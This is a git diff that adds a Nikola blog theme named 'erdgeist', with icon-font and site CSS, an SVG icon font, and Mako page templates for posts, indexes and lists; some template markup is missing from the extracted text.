*/ +.icon-key:before { content: '\e809'; } /* '' */ +.icon-rocket:before { content: '\e80a'; } /* '' */ +.icon-rss:before { content: '\e80b'; } /* '' */ +.icon-comment:before { content: '\e80c'; } /* '' */ +.icon-home:before { content: '\e80d'; } /* '' */ +.icon-pencil:before { content: '\e80e'; } /* '' */ +.icon-twitter:before { content: '\e80f'; } /* '' */ +.icon-eye:before { content: '\e810'; } /* '' */ \ No newline at end of file diff --git a/themes/erdgeist/assets/css/erdgeist.css b/themes/erdgeist/assets/css/erdgeist.css new file mode 100644 index 0000000..f615cf9 --- /dev/null +++ b/themes/erdgeist/assets/css/erdgeist.css @@ -0,0 +1,293 @@ +body { + font-size: 1.8em; +} + +@font-face { + font-family: 'Source Sans Pro'; + font-style: normal; + font-weight: 300; + src: local('Source Sans Pro Light'), local('SourceSansPro-Light'), url(/assets/font/sourcesanspro/v9/toadOcfmlt9b38dHJxOBGPS42wKzre0cxmO5m5GyTsY.ttf) format('truetype'); +} +@font-face { + font-family: 'Source Sans Pro'; + font-style: normal; + font-weight: 400; + src: local('Source Sans Pro'), local('SourceSansPro-Regular'), url(/assets/font/sourcesanspro/v9/ODelI1aHBYDBqgeIAH2zlEY6Fu39Tt9XkmtSosaMoEA.ttf) format('truetype'); +} +@font-face { + font-family: 'Source Sans Pro'; + font-style: normal; + font-weight: 700; + src: local('Source Sans Pro Bold'), local('SourceSansPro-Bold'), url(/assets/font/sourcesanspro/v9/toadOcfmlt9b38dHJxOBGLlcMrNrsnL9dgADnXgYJjs.ttf) format('truetype'); +} + +.post-body:not(.full)::after { + position: absolute; + bottom: 0; + height: 100%; + width: 100%; + content: ""; + background: linear-gradient(to top, + rgba(255,255,255, 1) 10%, + rgba(255,255,255, 0) 90% + ); + pointer-events: none; /* so the text is still selectable */ +} +.post-list li { + margin-top: 0.2em; +} + +.post-text { + max-width: 50em; +} +.post-body { + position: relative; + max-height: 6em; + transition: max-height 0.5s ease-in; + overflow: hidden; +} +.post-date { + float: right; + font-size: 0.7em; + padding-top: 0.3em; +} +.poetry-list .post-date { + float: left; + width: 6em; +} +.full { + transition: max-height 0.5s ease-in; + max-height: 10000em; +} + +@media (min-width: 640px) { +.multi-columns { + column-count: 2; + -webkit-column-count: 2; + -moz-column-count: 2; +} +} +@media (min-width: 1024px) { +.multi-columns { + column-count: 3; + -webkit-column-count: 3; + -moz-column-count: 3; + +} +} + +.glyphicon { + margin-right: 0.2em; + font-size: 0.8em; +} + +.navbar { + background-image: url('../img/dark_stripes.png'); +} + +.navbar a [class^="icon-"] { + transition: opacity 0.5s; + transition: text-shadow 0.5s; + font-size: 2em; + color: grey; + opacity: 0.6; +} + +.navbar .active a [class^="icon-"] { + color: yellow; +} + +.navbar a [class^="icon-"]:hover, +.navbar a [class^="icon-"]:focus { + text-shadow: 0 0 10px rgba(255,255,255,0.8); + color: white; + opacity: 0.9; +} + +@-webkit-keyframes pulsing { + 0% { text-shadow: 0 0 2px rgba(255,255,255,0.2); opacity: 0.6; } + 50% { text-shadow: 0 0 10px rgba(255,255,255,0.8); opacity: 0.9; } + 100% { text-shadow: 0 0 2px rgba(255,255,255,0.2); opacity: 0.6; } +} + +@keyframes pulsing { + 0% { text-shadow: 0 0 2px rgba(255,255,255,0.2); opacity: 0.6; } + 50% { text-shadow: 0 0 10px rgba(255,255,255,0.8); opacity: 0.9; } + 100% { text-shadow: 0 0 2px rgba(255,255,255,0.2); opacity: 0.6; } +} + +.navbar a [class^="icon-"]:hover { + animation-name: pulsing; + animation-duration: 2s; + animation-iteration-count: infinite; + -webkit-animation-name: pulsing; /* Chrome, Safari, Opera */ + -webkit-animation-duration: 2s; /* Chrome, Safari, Opera */ + -webkit-animation-iteration-count: infinite; +} + +.nav > li > a:hover, .nav > li > a:focus { + background-color: transparent !important; +} + +.navbar-nav { + margin: 0; +} + +@media (max-width: 553px) { +.navbar { + height: 56px !important; + margin-left: auto; + margin-right: auto; +} +.navbar-collapse.collapse { + display: block!important; +} + +.nav { + width: 100%; + text-align: center; + overflow: auto; +} + +.nav > li { + display: inline-block; + width: 20%; + float: left; +} + +.navbar-right { + float: right!important; +} +} + +@media (min-width: 554px) { +.navbar-collapse { + height: auto; + border-top: 0; + box-shadow: none; + max-height: none; + padding-left:0; + padding-right:0; +} + +.navbar-collapse.collapse { + display: block !important; + width: auto !important; + padding-bottom: 0; + overflow: visible !important; +} + +.nav > li > a { + padding-left: 0; +} + +.navbar-collapse.in { + overflow-x: visible; +} + +.navbar +{ + max-width: 54px; + margin-right: 0; + margin-left: 0; + height: 100%; +} + +body { + margin-top: 0px; +} + +.navbar .container { + padding-left: 0; + max-width: 54px; +} + +#content { + padding-left: 66px; +} + +.navbar-nav > li > a { + padding-top: 14.5px; + padding-bottom: 14.5px; +} + +.navbar-nav, +.navbar-nav > li, +.navbar-left, +.navbar-right, +.navbar-header +{float:none !important;} + +.navbar-right .dropdown-menu {left:0;right:auto;} +.navbar-collapse .navbar-nav.navbar-right:last-child { + margin-right: 0; +} +} + +.contents.topic { + margin: 0px; +} + +.contents .topic-title { + display: none; + background-color: green; +} + +.contents ul { + margin: 0px; + padding: 0px; +} + +.contents li { + list-style: none; + display: inline-block; + margin-right: 1em; +} + +.postindexpager { + width: 100%; + overflow: hidden; +} + +.postindexpager .pager { + margin-bottom: 0px; +} + +.docutils.literal { + font-size: 0.8em; + color: #000; +} + +a { + color: #aa3; + text-decoration: none; +} + +a:hover, +a:focus { +/* color: #b22; */ + text-decoration: underline; +} + +.lyrics-chords { + border-color: white; + border: white; +} + +.lyrics-chords-above .line { + line-height:1.3em; + margin-bottom:1em; +} +.lyrics-chords-above .crd { + position: relative; + top: -1em; + display:inline-block; + width: 0; + overflow:visible; + font-weight:bold; +} + +.image-reference img { + max-height: 260px; + margin: 0 36px 36px 0; +} diff --git a/themes/erdgeist/assets/font/erdgeist.eot b/themes/erdgeist/assets/font/erdgeist.eot new file mode 100644 index 0000000..828dfb4 Binary files /dev/null and b/themes/erdgeist/assets/font/erdgeist.eot differ diff --git a/themes/erdgeist/assets/font/erdgeist.svg b/themes/erdgeist/assets/font/erdgeist.svg new file mode 100644 index 0000000..fa42ce7 --- /dev/null +++ b/themes/erdgeist/assets/font/erdgeist.svg @@ -0,0 +1,27 @@ +<?xml version="1.0" standalone="no"?> +<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> +<svg xmlns="http://www.w3.org/2000/svg"> +<metadata>Copyright (C) 2015 by original authors @ fontello.com</metadata> +<defs> +<font id="erdgeist" horiz-adv-x="1000" > +<font-face font-family="erdgeist" font-weight="400" font-stretch="normal" units-per-em="1000" ascent="850" descent="-150" /> +<missing-glyph horiz-adv-x="1000" /> +<glyph glyph-name="music" unicode="" d="m857 725v-625q0-28-19-50t-48-33-58-18-53-6-54 6-58 18-48 33-19 50 19 50 48 33 58 18 54 6q58 0 107-22v300l-429-132v-396q0-28-19-50t-48-33-58-18-53-6-54 6-58 18-48 33-19 50 19 50 48 34 58 17 54 6q58 0 107-21v539q0 17 10 32t28 19l464 143q7 3 16 3 22 0 38-16t15-38z" horiz-adv-x="857.1" /> +<glyph glyph-name="search" unicode="" d="m643 386q0 103-74 176t-176 74-177-74-73-176 73-177 177-73 176 73 74 177z m286-465q0-29-22-50t-50-21q-30 0-50 21l-191 191q-100-69-223-69-80 0-153 31t-125 84-84 125-31 153 31 152 84 126 125 84 153 31 152-31 126-84 84-126 31-152q0-123-69-223l191-191q21-21 21-51z" horiz-adv-x="928.6" /> +<glyph glyph-name="mail" unicode="" d="m929 11v428q-18-20-39-37-149-114-238-188-28-24-46-38t-48-27-57-13h-2q-26 0-57 13t-48 27-46 38q-88 74-238 188-21 17-39 37v-428q0-8 6-13t12-5h822q7 0 12 5t6 13z m0 586v14t-1 7-1 7-3 5-5 4-8 2h-822q-7 0-12-6t-6-12q0-94 82-159 108-85 224-177 4-2 20-16t25-21 25-18 28-15 24-5h2q11 0 24 5t28 15 25 18 25 21 20 16q116 92 224 177 30 24 56 65t26 73z m71 21v-607q0-37-26-63t-63-27h-822q-36 0-63 27t-26 63v607q0 37 26 63t63 26h822q37 0 63-26t26-63z" horiz-adv-x="1000" /> +<glyph glyph-name="user" unicode="" d="m786 66q0-67-41-106t-108-39h-488q-67 0-108 39t-41 106q0 30 2 58t8 61 15 60 24 55 34 45 48 30 62 11q5 0 24-12t41-27 60-27 75-12 74 12 61 27 41 27 24 12q34 0 62-11t48-30 34-45 24-55 15-60 8-61 2-58z m-179 498q0-88-63-151t-151-63-152 63-62 151 62 152 152 63 151-63 63-152z" horiz-adv-x="785.7" /> +<glyph glyph-name="headphones" unicode="" d="m929 356q0-93-34-176l-11-27-103-18q-13-47-51-77t-87-29v-18q0-8-5-13t-13-5h-36q-8 0-13 5t-5 13v321q0 8 5 13t13 5h36q8 0 13-5t5-13v-18q39 0 72-20t52-53l38 7q16 53 16 108 0 82-49 155t-132 117-176 43-176-43-132-117-49-156q0-54 16-107l38-7q19 34 52 53t73 20v18q0 8 5 13t13 5h35q8 0 13-5t5-13v-321q0-8-5-13t-13-5h-35q-8 0-13 5t-5 13v18q-49 0-88 29t-50 77l-103 18-11 27q-34 83-34 175 0 85 37 163t100 135 149 91 178 34 179-34 148-91 100-135 38-163z" horiz-adv-x="928.6" /> +<glyph glyph-name="quote-right" unicode="" d="m429 671v-392q0-58-23-111t-61-91-91-62-111-22h-36q-14 0-25 10t-11 26v71q0 15 11 25t25 11h36q59 0 101 42t42 101v17q0 23-16 38t-38 16h-125q-44 0-76 31t-31 76v214q0 45 31 76t76 32h214q45 0 76-32t32-76z m500 0v-392q0-58-23-111t-61-91-91-62-111-22h-36q-14 0-25 10t-11 26v71q0 15 11 25t25 11h36q59 0 101 42t42 101v17q0 23-16 38t-38 16h-125q-44 0-76 31t-31 76v214q0 45 31 76t76 32h214q45 0 76-32t32-76z" horiz-adv-x="928.6" /> +<glyph glyph-name="quote-left" unicode="" d="m429 314v-214q0-45-32-76t-76-31h-214q-44 0-76 31t-31 76v393q0 58 23 111t61 91 91 61 111 23h35q15 0 26-11t10-25v-72q0-14-10-25t-26-10h-35q-59 0-101-42t-42-101v-18q0-22 16-38t37-16h125q45 0 76-31t32-76z m500 0v-214q0-45-32-76t-76-31h-214q-44 0-76 31t-31 76v393q0 58 23 111t61 91 91 61 111 23h35q15 0 26-11t10-25v-72q0-14-10-25t-26-10h-35q-59 0-101-42t-42-101v-18q0-22 15-38t38-16h125q45 0 76-31t32-76z" horiz-adv-x="928.6" /> +<glyph glyph-name="leaf" unicode="" d="m714 457q0 15-10 25t-25 11q-96 0-178-28t-145-75-131-122q-11-12-11-25 0-15 11-25t25-11q13 0 25 11 15 13 41 39t38 37q76 69 150 98t175 29q14 0 25 11t10 25z m286 111q0-53-11-108-26-125-103-214t-200-149q-119-61-244-61-83 0-160 27-8 2-49 23t-53 21q-9 0-22-18t-25-39-30-39-33-18q-17 0-29 6t-17 13-15 24q-1 2-3 6t-3 6-2 5-1 7q0 20 17 41t38 37 38 31 18 27q0 2-8 21t-9 25q-5 28-5 58 0 64 24 123t66 103 96 77 113 53q31 10 81 15t100 5 100 3 91 13 64 32l16 16t17 16 15 11 20 9 24 3q22 0 40-26t26-63 14-69 4-53z" horiz-adv-x="1000" /> +<glyph glyph-name="key" unicode="" d="m464 564q0 45-31 76t-76 31-76-31-31-76q0-23 11-46-23 11-47 11-44 0-76-32t-31-76 31-75 76-32 76 32 31 75q0 24-10 47 23-11 46-11 45 0 76 31t31 76z m475-393q0-9-27-36t-37-28q-5 0-16 9t-20 19-22 22-13 14l-54-53 123-123q15-15 15-38 0-23-21-45t-46-22q-22 0-38 16l-374 374q-98-73-204-73-91 0-148 57t-57 149q0 89 53 174t138 139 175 53q91 0 148-58t57-148q0-105-73-203l198-199 54 54q-2 2-15 14t-22 21-18 21-9 15q0 10 27 37t37 28q7 0 13-6 3-3 26-25t45-44 49-48 40-44 16-23z" horiz-adv-x="1000" /> +<glyph glyph-name="rocket" unicode="" d="m804 600q0 22-16 38t-38 16-38-16-16-38 16-38 38-16 38 16 16 38z m125 161q0-139-43-241t-141-201q-45-44-109-98l-11-211q-1-9-9-15l-214-125q-4-2-9-2-7 0-13 5l-36 36q-7 7-4 17l47 155-156 156-155-47q-1-1-5-1-7 0-12 5l-36 36q-10 11-3 22l125 214q6 8 15 9l211 11q54 64 98 109 105 104 200 144t241 40q7 0 13-6t6-12z" horiz-adv-x="928.6" /> +<glyph glyph-name="rss" unicode="" d="m214 100q0-45-31-76t-76-31-76 31-31 76 31 76 76 31 76-31 31-76z m286-69q1-15-9-26-11-12-27-12h-75q-14 0-24 9t-11 23q-12 128-103 219t-219 103q-14 1-23 11t-9 24v75q0 16 12 26 9 10 24 10h3q89-7 170-45t145-101q63-63 101-145t45-171z m286-1q1-15-10-26-10-11-26-11h-80q-14 0-25 10t-11 23q-6 120-56 228t-129 188-188 129-227 57q-14 0-24 11t-10 24v80q0 15 11 26 10 10 25 10h1q147-8 280-67t238-164q104-104 164-238t67-280z" horiz-adv-x="785.7" /> +<glyph glyph-name="comment" unicode="" d="m1000 350q0-97-67-179t-182-130-251-48q-39 0-81 4-110-97-257-135-27-8-63-12-10-1-17 5t-10 16v1q-2 2 0 6t1 6 2 5l4 5t4 5 4 5q4 5 17 19t20 22 17 22 18 28 15 33 15 42q-88 50-138 123t-51 157q0 73 40 139t106 114 160 76 194 28q136 0 251-48t182-130 67-179z" horiz-adv-x="1000" /> +<glyph glyph-name="home" unicode="" d="m786 296v-267q0-15-11-26t-25-10h-214v214h-143v-214h-214q-15 0-25 10t-11 26v267q0 1 0 2t0 2l321 264 321-264q1-1 1-4z m124 39l-34-41q-5-5-12-6h-2q-7 0-12 3l-386 322-386-322q-7-4-13-4-7 2-12 7l-35 41q-4 5-3 13t6 12l401 334q18 15 42 15t43-15l136-114v109q0 8 5 13t13 5h107q8 0 13-5t5-13v-227l122-102q5-5 6-12t-4-13z" horiz-adv-x="928.6" /> +<glyph glyph-name="pencil" unicode="" d="m203-7l50 51-131 131-51-51v-60h72v-71h60z m291 518q0 12-12 12-5 0-9-4l-303-302q-4-4-4-10 0-12 13-12 5 0 9 4l303 302q3 4 3 10z m-30 107l232-232-464-465h-232v233z m381-54q0-29-20-50l-93-93-232 233 93 92q20 21 50 21 29 0 51-21l131-131q20-22 20-51z" horiz-adv-x="857.1" /> +<glyph glyph-name="twitter" unicode="" d="m904 622q-37-54-90-93 0-8 0-23 0-73-21-145t-64-139-103-117-144-82-181-30q-151 0-276 81 19-3 43-3 126 0 224 77-59 2-105 36t-64 89q19-2 34-2 24 0 48 6-63 13-104 62t-41 115v2q38-21 82-23-37 25-59 64t-22 86q0 49 25 91 68-83 164-133t208-55q-5 21-5 41 0 75 53 127t127 53q79 0 132-57 61 12 114 44-20-64-79-100 52 6 104 28z" horiz-adv-x="928.6" /> +<glyph glyph-name="eye" unicode="" d="m929 314q-85 132-213 197 34-58 34-125 0-104-73-177t-177-73-177 73-73 177q0 67 34 125-128-65-213-197 75-114 187-182t242-68 242 68 187 182z m-402 215q0 11-8 19t-19 7q-70 0-120-50t-50-119q0-12 8-19t19-8 19 8 8 19q0 48 34 82t82 34q11 0 19 8t8 19z m473-215q0-19-11-38-78-129-210-206t-279-77-279 77-210 206q-11 19-11 38t11 39q78 128 210 205t279 78 279-78 210-205q11-20 11-39z" horiz-adv-x="1000" /> +</font> +</defs> +</svg> \ No newline at end of file diff --git a/themes/erdgeist/assets/font/erdgeist.ttf b/themes/erdgeist/assets/font/erdgeist.ttf new file mode 100644 index 0000000..7499b3b Binary files /dev/null and b/themes/erdgeist/assets/font/erdgeist.ttf differ diff --git a/themes/erdgeist/assets/font/erdgeist.woff b/themes/erdgeist/assets/font/erdgeist.woff new file mode 100644 index 0000000..c637fc0 Binary files /dev/null and b/themes/erdgeist/assets/font/erdgeist.woff differ diff --git a/themes/erdgeist/assets/font/sourcesanspro/v9/ODelI1aHBYDBqgeIAH2zlEY6Fu39Tt9XkmtSosaMoEA.ttf b/themes/erdgeist/assets/font/sourcesanspro/v9/ODelI1aHBYDBqgeIAH2zlEY6Fu39Tt9XkmtSosaMoEA.ttf new file mode 100644 index 0000000..973aeb0 Binary files /dev/null and b/themes/erdgeist/assets/font/sourcesanspro/v9/ODelI1aHBYDBqgeIAH2zlEY6Fu39Tt9XkmtSosaMoEA.ttf differ diff --git a/themes/erdgeist/assets/font/sourcesanspro/v9/toadOcfmlt9b38dHJxOBGLlcMrNrsnL9dgADnXgYJjs.ttf b/themes/erdgeist/assets/font/sourcesanspro/v9/toadOcfmlt9b38dHJxOBGLlcMrNrsnL9dgADnXgYJjs.ttf new file mode 100644 index 0000000..b7d0f4f Binary files /dev/null and b/themes/erdgeist/assets/font/sourcesanspro/v9/toadOcfmlt9b38dHJxOBGLlcMrNrsnL9dgADnXgYJjs.ttf differ diff --git a/themes/erdgeist/assets/font/sourcesanspro/v9/toadOcfmlt9b38dHJxOBGPS42wKzre0cxmO5m5GyTsY.ttf b/themes/erdgeist/assets/font/sourcesanspro/v9/toadOcfmlt9b38dHJxOBGPS42wKzre0cxmO5m5GyTsY.ttf new file mode 100644 index 0000000..05ae687 Binary files /dev/null and b/themes/erdgeist/assets/font/sourcesanspro/v9/toadOcfmlt9b38dHJxOBGPS42wKzre0cxmO5m5GyTsY.ttf differ diff --git a/themes/erdgeist/assets/img/dark_stripes.png b/themes/erdgeist/assets/img/dark_stripes.png new file mode 100644 index 0000000..63302e5 Binary files /dev/null and b/themes/erdgeist/assets/img/dark_stripes.png differ diff --git a/themes/erdgeist/bundles b/themes/erdgeist/bundles new file mode 100644 index 0000000..defbd4d --- /dev/null +++ b/themes/erdgeist/bundles @@ -0,0 +1 @@ +assets/css/all-nocdn.css=bootstrap.min.css,rst.css,code.css,colorbox.css,theme.css,custom.css,erdgeist.css,erdgeist-embedded.css diff --git a/themes/erdgeist/parent b/themes/erdgeist/parent new file mode 100644 index 0000000..dc199ee --- /dev/null +++ b/themes/erdgeist/parent @@ -0,0 +1 @@ +bootstrap3 diff --git a/themes/erdgeist/templates/base.tmpl b/themes/erdgeist/templates/base.tmpl new file mode 100644 index 0000000..3bdf48d --- /dev/null +++ b/themes/erdgeist/templates/base.tmpl @@ -0,0 +1,58 @@ +## -*- coding: utf-8 -*- +<%namespace name="base" file="base_helper.tmpl" import="*" /> +<%namespace name="notes" file="annotation_helper.tmpl" import="*" /> +${set_locale(lang)} +${base.html_headstart()} +<%block name="extra_head"> +### Leave this block alone. +</%block> +${template_hooks['extra_head']()} +</head> +<body> +<a href="#content" class="sr-only sr-only-focusable">${messages("Skip to main content")}</a> + +<!-- Menubar --> + +<nav class="navbar navbar-fixed-top" role="navigation"> + <div class="container"><!-- This keeps the margins nice --> + <ul class="nav navbar-nav"> + ${base.html_navigation_links()} + ${template_hooks['menu']()} + </ul> + %if search_form: + ${search_form} + %endif + + </div><!-- /.container --> +</nav> + +<!-- End of Menubar --> + +<div class="container" id="content" role="main"> + <div class="body-content"> + <!--Body content--> + <div class="row"> + ${template_hooks['page_header']()} + <%block name="content"></%block> + </div> + <!--End of body content--> + + <footer> + ${content_footer} + ${template_hooks['page_footer']()} + </footer> + </div> +</div> + +${base.late_load_js()} + <!--script>$('a.image-reference:not(.islink)').colorbox({rel:"gal",maxWidth:"100%",maxHeight:"100%",scalePhotos:true});</script --> + <%block name="extra_js"></%block> + % if annotations and post and not post.meta('noannotations'): + ${notes.code()} + % elif not annotations and post and post.meta('annotations'): + ${notes.code()} + % endif +${body_end} +${template_hooks['body_end']()} +</body> +</html> diff --git a/themes/erdgeist/templates/base_helper.tmpl b/themes/erdgeist/templates/base_helper.tmpl new file mode 100644 index 0000000..bec4b78 --- /dev/null +++ b/themes/erdgeist/templates/base_helper.tmpl @@ -0,0 +1,168 @@ +## -*- coding: utf-8 -*- + +<%namespace name="notes" file="annotation_helper.tmpl" import="*" /> +<%def name="html_headstart()"> +<!DOCTYPE html> +<html +\ +% if use_open_graph or (twitter_card and twitter_card['use_twitter_cards']) or (comment_system == 'facebook'): +prefix='\ +%if use_open_graph or (twitter_card and twitter_card['use_twitter_cards']): +og: http://ogp.me/ns# \ +%endif +%if use_open_graph: +article: http://ogp.me/ns/article# \ +%endif +%if comment_system == 'facebook': +fb: http://ogp.me/ns/fb# \ +%endif +'\ +%endif +\ +% if is_rtl: +dir="rtl" \ +% endif +\ +lang="${lang}"> + <head> + <meta charset="utf-8"> + %if description: + <meta name="description" content="${description}"> + %endif + <meta name="viewport" content="width=device-width, initial-scale=1"> + <title>${title|striphtml} | ${blog_title|striphtml} + + ${html_stylesheets()} + ${html_feedlinks()} + %if permalink: + + %endif + + %if favicons: + %for name, file, size in favicons: + + %endfor + %endif + + % if comment_system == 'facebook': + + % endif + + %if prevlink: + + %endif + %if nextlink: + + %endif + + ${mathjax_config} + %if use_cdn: + + %else: + + %endif + + ${extra_head_data} + + +<%def name="late_load_js()"> + %if use_bundles: + %if use_cdn: + + + + %else: + + %endif + %else: + %if use_cdn: + + + %else: + + + + + %endif + + %endif + %if colorbox_locales[lang]: + + %endif + ${social_buttons_code} + + + +<%def name="html_stylesheets()"> + %if use_bundles: + %if use_cdn: + + + %else: + + %endif + %else: + %if use_cdn: + + %else: + + %endif + + + + + %if has_custom_css: + + %endif + %endif + % if annotations and post and not post.meta('noannotations'): + ${notes.css()} + % elif not annotations and post and post.meta('annotations'): + ${notes.css()} + % endif + + +<%def name="html_navigation_links()"> + %for url, text, icon in navigation_links[lang]: + % if isinstance(url, tuple): +
  • + %else: +
  • + %endif + % endif + %endfor + + +<%def name="html_feedlinks()"> + %if rss_link: + ${rss_link} + %elif generate_rss: + %if len(translations) > 1: + %for language in translations: + + %endfor + %else: + + %endif + %endif + + +<%def name="html_translations()"> + %for langname in translations.keys(): + %if langname != lang: +
  • ${messages("LANGUAGE", langname)}
  • + %endif + %endfor + diff --git a/themes/erdgeist/templates/index.tmpl b/themes/erdgeist/templates/index.tmpl new file mode 100644 index 0000000..81340dd --- /dev/null +++ b/themes/erdgeist/templates/index.tmpl @@ -0,0 +1,35 @@ +## -*- coding: utf-8 -*- +<%namespace name="helper" file="index_helper.tmpl"/> +<%namespace name="comments" file="comments_helper.tmpl"/> +<%inherit file="base.tmpl"/> + +<%block name="content"> +${helper.html_pager()} +
    +% for post in posts: +
    +
    +

    ${post.title()|h}

    + +
    + %if index_teasers: +
    + ${post.text(teaser_only=True)} + %else: +
    + ${post.text(teaser_only=False)} + %endif +
    +
    +% endfor +
    +${helper.html_pager()} +${comments.comment_link_script()} +${helper.mathjax_script(posts)} + diff --git a/themes/erdgeist/templates/index_helper.tmpl b/themes/erdgeist/templates/index_helper.tmpl new file mode 100644 index 0000000..9331b93 --- /dev/null +++ b/themes/erdgeist/templates/index_helper.tmpl @@ -0,0 +1,27 @@ +## -*- coding: utf-8 -*- +<%def name="html_pager()"> + %if prevlink or nextlink: + + %endif + + +<%def name="mathjax_script(posts)"> + %if any(post.is_mathjax for post in posts): + + + %endif + diff --git a/themes/erdgeist/templates/list_blogposts.tmpl b/themes/erdgeist/templates/list_blogposts.tmpl new file mode 100644 index 0000000..093d520 --- /dev/null +++ b/themes/erdgeist/templates/list_blogposts.tmpl @@ -0,0 +1,41 @@ +## -*- coding: utf-8 -*- +<%block name="content"> + + + + + +
    + %if posts: +
      + % for post in posts: +
    • +
      + +
      + ${post.title(lang)} +
      +
      +
      + ${post.text( teaser_only = true, show_read_more_link = true) } +
      +
    • + % endfor +
    + %endif +
    + + diff --git a/themes/erdgeist/templates/list_poetry.tmpl b/themes/erdgeist/templates/list_poetry.tmpl new file mode 100644 index 0000000..3bde503 --- /dev/null +++ b/themes/erdgeist/templates/list_poetry.tmpl @@ -0,0 +1,16 @@ +## -*- coding: utf-8 -*- +<%block name="content"> + +
    + %if posts: +
      + % for post in posts: +
    • + ${post.title(lang)} +
    • + % endfor +
    + %endif +
    + + diff --git a/themes/erdgeist/templates/list_projectnews.tmpl b/themes/erdgeist/templates/list_projectnews.tmpl new file mode 100644 index 0000000..abb515b --- /dev/null +++ b/themes/erdgeist/templates/list_projectnews.tmpl @@ -0,0 +1,16 @@ +## -*- coding: utf-8 -*- +<%block name="content"> + +
    + %if posts: + + %endif +
    + + diff --git a/themes/erdgeist/templates/list_projects.tmpl b/themes/erdgeist/templates/list_projects.tmpl new file mode 100644 index 0000000..b8d67b5 --- /dev/null +++ b/themes/erdgeist/templates/list_projects.tmpl @@ -0,0 +1,16 @@ +## -*- coding: utf-8 -*- +<%block name="content"> + +
    + %if posts: +
    + % for post in posts: +

    + ${post.title(lang)} ${post.description()} +

    + % endfor +
    + %endif +
    + + diff --git a/themes/erdgeist/templates/post.tmpl b/themes/erdgeist/templates/post.tmpl new file mode 100644 index 0000000..c1a0ad7 --- /dev/null +++ b/themes/erdgeist/templates/post.tmpl @@ -0,0 +1,51 @@ +## -*- coding: utf-8 -*- +<%namespace name="helper" file="post_helper.tmpl"/> +<%namespace name="pheader" file="post_header.tmpl"/> +<%namespace name="comments" file="comments_helper.tmpl"/> +<%inherit file="base.tmpl"/> + +<%block name="extra_head"> + ${parent.extra_head()} + % if post.meta('keywords'): + + % endif + %if post.description(): + + %endif + + %if post.prev_post: + + %endif + %if post.next_post: + + %endif + % if post.is_draft: + + % endif + ${helper.open_graph_metadata(post)} + ${helper.twitter_card_information(post)} + ${helper.meta_translations(post)} + + +<%block name="content"> +
    + ${pheader.html_post_header()} +
    + ${post.text()} +
    + + % if not post.meta('nocomments') and site_has_comments: +
    +

    ${messages("Comments")}

    + ${comments.comment_form(post.permalink(absolute=True), post.title(), post._base_path)} +
    + % endif + ${helper.mathjax_script(post)} +
    +${comments.comment_link_script()} + diff --git a/themes/erdgeist/templates/post_header.tmpl b/themes/erdgeist/templates/post_header.tmpl new file mode 100644 index 0000000..456c207 --- /dev/null +++ b/themes/erdgeist/templates/post_header.tmpl @@ -0,0 +1,53 @@ +## -*- coding: utf-8 -*- +<%namespace name="helper" file="post_helper.tmpl"/> +<%namespace name="comments" file="comments_helper.tmpl"/> + +<%def name="html_title()"> +%if title and not post.meta('hidetitle'): +

    ${post.title()|h} + % if post.meta('subtitle'): +– ${post.meta('subtitle')} + %endif +

    +%endif + + +<%def name="html_translations(post)"> + % if len(post.translated_to) > 1: + + % endif + + +<%def name="html_sourcelink()"> + % if show_sourcelink: +

    ${messages("Source")}

    + % endif + + +<%def name="html_post_header()"> +
    + ${html_title()} + + ${html_translations(post)} +
    + -- cgit v1.2.3